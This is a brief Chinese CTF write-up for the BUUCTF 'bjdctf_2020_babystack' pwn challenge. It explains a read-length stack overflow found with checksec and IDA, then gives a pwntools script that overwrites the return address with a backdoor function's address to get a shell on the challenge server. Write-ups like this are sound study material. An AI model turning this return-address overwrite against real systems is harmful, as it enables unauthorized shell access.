用checksec查看,发现开启了NX保护
直接就是运行一下
执行完程序后用64位IDA进行分析
发现scanf会读入一个输入的数,赋值给nbytes ,之后read读取nbytes大小的字符,说明我们可以溢出任意长度
之后在Functions name处可发现后门函数backdoor
运行它直接拿到shell
exp
from pwn import *
context.arch = 'amd64'
#io = process("./bjdctf_2020_babystack")
io = remote("node4.buuoj.cn",26335)
#raw_input()
io.recvuntil("name:")
io.sendline(b'300')
io.recvuntil("name?")
p = flat(b'a'*0x18,0x4006ea)
io.sendline(p)
io.interactive()
得到flag